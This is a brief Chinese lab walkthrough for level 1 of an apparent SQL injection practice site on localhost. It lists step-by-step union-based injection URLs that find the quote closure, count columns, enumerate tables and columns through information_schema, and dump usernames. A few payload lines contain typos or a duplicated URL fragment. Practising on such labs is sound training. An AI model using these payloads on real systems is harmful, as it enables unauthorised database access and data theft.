第一关
首先进入第一关先判断它的闭合方式localhost/Less-1/?id=1'--+
然后在后边使用order by来判断它的列数 localhost/Less-1/?id=1' order by 3 --+
前边id改成-1在后边加入联合查询的回显点localhost/Less-1/?id=-1'union select 1,2,3 --+
然后结合数据库语言查询出它的数据库localhost/Less-1/?id=-1'union select 1,group_concat(table_name),3 frominformation_schema.tables where table_schema='security' --+
然后再查看数据库的列/Less-1/?id=-1localhost/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='uagents' --+
然后根据它的列查看它所有的数据localhost/Less-1/?id=-1' union select 1,2,group_concat(id,username) from users --+
14万+
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
